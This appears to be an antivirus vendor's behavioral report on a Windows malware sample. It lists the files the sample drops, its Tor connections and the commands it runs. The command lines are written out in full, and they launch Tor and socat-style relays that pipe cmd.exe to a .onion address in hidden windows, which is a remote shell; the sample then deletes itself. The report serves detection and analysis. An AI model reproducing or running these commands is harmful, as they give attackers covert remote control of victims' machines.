Technical Information
Modifies file system
Creates the following files
- %TEMP%\master.zip
- %TEMP%\soc-master\syssoc\version
- %TEMP%\soc-master\syssoc\backtest.exe
- %TEMP%\soc-master\syssoc\cygcrypto-1.0.0.dll
- %TEMP%\soc-master\syssoc\cyggcc_s-1.dll
- %TEMP%\soc-master\syssoc\cygncursesw-10.dll
- %TEMP%\soc-master\syssoc\cygreadline7.dll
- %TEMP%\soc-master\syssoc\cygssl-1.0.0.dll
- %TEMP%\soc-master\syshide\libgcc_s_seh-1.dll
- %TEMP%\soc-master\syssoc\cygwin1.dll
- %TEMP%\soc-master\syssoc\cygz.dll
- %TEMP%\soc-master\syssoc\syscap.exe
- %TEMP%\soc-master\syssoc\sysini.dll
- %TEMP%\soc-master\syssoc\syssoc.exe
- %TEMP%\soc-master\syssoc\systun.exe
- %APPDATA%\tor\state.tmp
- %APPDATA%\tor\unverified-microdesc-consensus.tmp
- %TEMP%\soc-master\syssoc\readme.md
- %TEMP%\soc-master\syssoc\security
- %TEMP%\soc-master\syssoc\readme
- %TEMP%\soc-master\syssoc\faq
- %TEMP%\soc-master\syssoc\examples
- %TEMP%\soc-master\syshide\pluggabletransports\meek-client-torbrowser.exe
- %TEMP%\soc-master\syshide\pluggabletransports\meek-client.exe
- %TEMP%\soc-master\syshide\pluggabletransports\obfs4proxy.exe
- %TEMP%\soc-master\syshide\pluggabletransports\terminateprocess-buffer.exe
- %TEMP%\soc-master\syshide\libeay32.dll
- %TEMP%\soc-master\syshide\libevent-2-1-6.dll
- %TEMP%\soc-master\syshide\libevent_core-2-1-6.dll
- %APPDATA%\tor\cached-certs.tmp
- %TEMP%\soc-master\syssoc\cygwrap-0.dll
- %TEMP%\soc-master\syshide\libevent_extra-2-1-6.dll
- %TEMP%\soc-master\syshide\libwinpthread-1.dll
- %TEMP%\soc-master\syshide\ssleay32.dll
- %TEMP%\soc-master\syshide\syshide.exe
- %TEMP%\soc-master\syshide\zlib1.dll
- %TEMP%\soc-master\syssoc\bugreports
- %TEMP%\soc-master\syssoc\changes
- %TEMP%\soc-master\syssoc\copying
- %TEMP%\soc-master\readme.md
- %TEMP%\soc-master\syshide\libssp-0.dll
- %APPDATA%\tor\cached-microdesc-consensus.tmp
Deletes the following files
- %TEMP%\master.zip
- %APPDATA%\tor\unverified-microdesc-consensus
Moves the following files
- from %APPDATA%\tor\state.tmp to %APPDATA%\tor\state
- from %APPDATA%\tor\unverified-microdesc-consensus.tmp to %APPDATA%\tor\unverified-microdesc-consensus
- from %APPDATA%\tor\cached-certs.tmp to %APPDATA%\tor\cached-certs
- from %APPDATA%\tor\cached-microdesc-consensus.tmp to %APPDATA%\tor\cached-microdesc-consensus
Deletes itself.
Network activity
TCP
- 'gi##ub.com':443
- 'co####ad.github.com':443
- '18#.#00.86.128':9001
- '12#.#99.55.207':9001
- '18#.#6.88.29':443
UDP
- DNS ASK gi##ub.com
- DNS ASK co####ad.github.com
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /ctimeout /T 2 && del /F %TEMP%\\master.zip' (with hidden window)
- '<SYSTEM32>\cmd.exe' /ccd %TEMP%\ & ren soc-master OSfunction' (with hidden window)
- '<SYSTEM32>\cmd.exe' /cpowershell.exe %TEMP%\\OSfunction\syshide\syshide.exe' (with hidden window)
- '<SYSTEM32>\cmd.exe' /cpowershell.exe %TEMP%\\OSfunction\syssoc\systun.exe -t 2 TCP4-LISTEN:2165,reuseaddr,fork SOCKS4A:127.0.0.1:mbnom2o7nenrwy27i4oud3phjpbvsrcyqms6nm7yzdlea3bpijypiaad.onion:2165,socksport=9050' (with hidden window)
- '<SYSTEM32>\cmd.exe' /cpowershell.exe %TEMP%\\OSfunction\syssoc\syssoc.exe -t 2 tcp4:127.0.0.1:2165 EXEC:'cmd.exe',pipes' (with hidden window)
- '<SYSTEM32>\cmd.exe' /ctimeout /T 10 && del /F <Full path to file>' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /ctimeout /T 2 && del /F %TEMP%\\master.zip
- '<SYSTEM32>\cmd.exe' /ccd %TEMP%\ & ren soc-master OSfunction
- '<SYSTEM32>\cmd.exe' /cpowershell.exe %TEMP%\\OSfunction\syshide\syshide.exe
- '<SYSTEM32>\cmd.exe' /cpowershell.exe %TEMP%\\OSfunction\syssoc\systun.exe -t 2 TCP4-LISTEN:2165,reuseaddr,fork SOCKS4A:127.0.0.1:mbnom2o7nenrwy27i4oud3phjpbvsrcyqms6nm7yzdlea3bpijypiaad.onion:2165,socksport=9050
- '<SYSTEM32>\cmd.exe' /cpowershell.exe %TEMP%\\OSfunction\syssoc\syssoc.exe -t 2 tcp4:127.0.0.1:2165 EXEC:'cmd.exe',pipes
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' %TEMP%\\OSfunction\syshide\syshide.exe
- '<SYSTEM32>\timeout.exe' /T 2
- '<SYSTEM32>\cmd.exe' /ctimeout /T 10 && del /F <Full path to file>
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' %TEMP%\\OSfunction\syssoc\systun.exe -t 2 TCP4-LISTEN:2165,reuseaddr,fork SOCKS4A:127.0.0.1:mbnom2o7nenrwy27i4oud3phjpbvsrcyqms6nm7yzdlea3bpijypiaad.onion:2165,socksport=9050
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' %TEMP%\\OSfunction\syssoc\syssoc.exe -t 2 tcp4:127.0.0.1:2165 EXEC:'cmd.exe',pipes
- '<SYSTEM32>\timeout.exe' /T 10
